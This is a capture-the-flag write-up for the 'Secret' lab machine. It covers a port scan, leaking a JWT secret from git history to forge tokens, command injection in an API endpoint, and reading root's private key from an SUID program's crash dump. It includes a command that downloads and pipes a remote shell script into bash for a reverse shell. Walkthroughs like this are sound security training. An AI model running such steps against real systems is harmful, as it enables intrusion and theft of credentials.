Secret

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.71.62     
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 08:03 EDT
Nmap scan report for 10.129.71.62
Host is up (0.0068s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

DumbDocs -> Code Analysis

Port 80 was some kind of documentation website.

This box uses JWT Tokens and an API to create new users and login. The API is hosted on port 3000. We can actually download all the source code and view the files within:

Since this is a JWT related challenge, the main goal here is to spoof some token by leaking the secret access token somehow. We can first enumerate the .git repository by finding the token secret.

Great! Now we can spoof tokens easily. Now let's look at the source code. Within the /routes/private.js, there's a vulnerable function:

The /logs endpoint takes the filename and passes it to exec without sanitisation. This means that this is vulnerable to RCE.

Token Spoof -> RCE

Now that we can spoof tokens and we found our RCE point, we can exploit this system. First, let's create a new user and then get the token:

Then, we can spoof the token using this website:

LogoJWT.IOJSON Web Tokens - jwt.io

We can verify that this works by using the /api/priv endpoint:

We can confirm RCE using this:

Then we can just use curl 10.10.14.13/shell.sh|bash to get a reverse shell.

Grab that user flag.

Privilege Escalation

Coredump LFI

Within the /opt directory, there's an SUID binary for a program called count, and the machine provides us with the source code:

Here's the code:

The most interesting part is this:

Coredump generation? Coredumps are basically files that are generated when an application is crashed. In this case, let's try crashing one:

Crash files are stored within /var/crash.

Within this file, there's details on the program and stuff like that:

I wasn't really sure what to do with this. I researched online and found this same question on AskUbuntu.

LogoHow can I read a crash file from /var/crashAsk Ubuntu

They used apport-unpack to unpack the file and read it. We can do so with our crash file here:

When we use strings on the CoreDump file, we can find the root flag:

It seems that because we are running the count binary as root and we crash the program while reading the file, the file contents is still in memory. When the CoreDump file is created, the contents of memory is still present.

We can repeat these steps to read the id_rsa file of root.

With this private key, we can ssh in as root.

Rooted!

PreviousScriptKiddieNextSense

Last updated